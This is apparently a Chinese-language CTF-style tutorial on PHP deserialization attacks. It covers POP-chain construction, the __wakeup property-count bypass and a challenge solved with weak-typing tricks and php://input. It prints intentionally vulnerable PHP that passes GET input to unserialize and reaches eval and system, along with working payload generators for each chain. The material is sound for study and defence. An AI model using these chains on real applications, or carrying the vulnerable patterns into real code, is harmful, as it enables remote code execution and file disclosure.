一般的序列化攻击都在 PHP 魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造 POP 链寻找相同的函数名将类的属性和敏感函数的属性联系起来。因为 PHP 反序列化可以控制类属性,无论是 private 还是 public。
test.php
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
test 这个类本来是调用 normal 类的,而 normal 类中含有 action() 方法用于显示字符串,但是现在 action() 方法在 evil 类里面也有,所以可以构造 pop 链,调用 evil 类中的 action() 方法。
crack.php
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data="phpinfo();";
}
$a=new test();
echo urlencode(serialize($a));
?>
<?php
// Declare a simple class
class TestClass
{
public $foo;
public function __construct($foo)
{
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;
?>
//输出 Hello
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
print("this is __wakeup()");
}
}
$test = new xctf();
$t = serialize($test);
unserialize($t);
?>
//输出this is __wakeup()
__wakeup() 函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么 i 就调用 __wakeup() 函数,如果该数字大于真实属性个数,就会绕过 __wakeup() 函数。
漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10
<?php
class test{
public $name = 'edd1e';
public function __destruct() {
echo 'i am __destruct()</br>';
}
public function __wakeup() {
echo 'i am __wakeup()</br>';
}
}
//$a = new test();
//echo serialize($a);
// O:4:"test":1:{s:4:"name";s:5:"edd1e";}
$s = 'O:4:"test":1:{s:4:"name";s:5:"edd1e";}';
unserialize($s);
?>
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class CallFunc
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class InvokeFunc
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class ToStringFunc
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."flag{test}";
}
}
$a = $_GET['string'];
unserialize($a);
?>
首先要利用 class GetFlag 中的 get_flag, 所以我们只要有一个 ToStringFunc 类的实例当字符串来使用
<?php
class GetFlag
{
public function get_flag()
{
echo "flag:"."flag{Test}";
}
}
class ToStringFunc
{
public $str1;
public function __construct()
{
$this->str1=new GetFlag();
}
}
class InvokeFunc
{
public $mod1;
public function __construct()
{
$this->mod1= new ToStringFunc();
}
}
class CallFunc
{
public $mod1;
public function __construct()
{
$this->mod1=new InvokeFunc();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1=new CallFunc();
}
}
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1=new Call();
}
}
$b = new start_gg; //构造start_gg类对象$b
echo urlencode(serialize($b));
?>
<?php
//flag is in flag.php
error_reporting(0);
class oops {
protected $oop;
function __construct() {
$this->oop = new a();
}
function __destruct() {
$this->oop->action();
}
}
class a {
function action() {
echo "Hello World!";
}
}
class b {
private $file;
private $token;
function action() {
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
include($this->file);
echo $flag;
}
}else{
echo "Oops...";
}
}
}
class c {
private $cmd;
private $token;
function execcmd(){
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
if (!empty($this->cmd)){
system($this->cmd);
}
}else{
echo "Oops...";
}
}
}
if (isset($_GET['a']) and isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if (stripos($a,'.')) {
echo "You can't input '.' !";
return ;
}
$data = @file_get_contents($a,'r');
if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8){
if (isset($_GET['c'])){
echo "get c 2333......<br>";
unserialize($_GET['c']);
} else {
echo "cccccc......";
}
} else {
echo "Oh no......";
}
} else {
show_source(__FILE__);
}
?>
考验2部分,1是弱类型绕过,2是反序列化pop链构造
先看弱类型绕过
if (isset($_GET['a']) and isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if (stripos($a,'.')) {
echo "You can't input '.' !";
return ;
}
$data = @file_get_contents($a,'r');
if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8){
if (isset($_GET['c'])){
echo "get c 2333......<br>";
unserialize($_GET['c']);
} else {
echo "cccccc......";
}
} else {
echo "Oh no......";
}
} else {
show_source(__FILE__);
}
a 不能包含 .,禁止了跨目录
调用 file_get_contents 函数读取名为 a 的文件内容,且要等于 HelloWorld!
b 长度大于5,第一个字符紧接着拼接在”666”字符串后面要能正则匹配上”6668”字符串,且限定第一个字符不能为8
a 的绕过方法
file_get_contents() 函数支持 php 伪协议,这里我们可以使用 php://input,然后再 POST 字符串”HelloWorld!” 即可绕过
<?php
class oops {
protected $oop;
function __construct() {
$this->oop = new b();
}
}
class b {
private $file="flag.php";
private $token="a";
}
$obj = new oops;
echo urlencode(serialize($obj));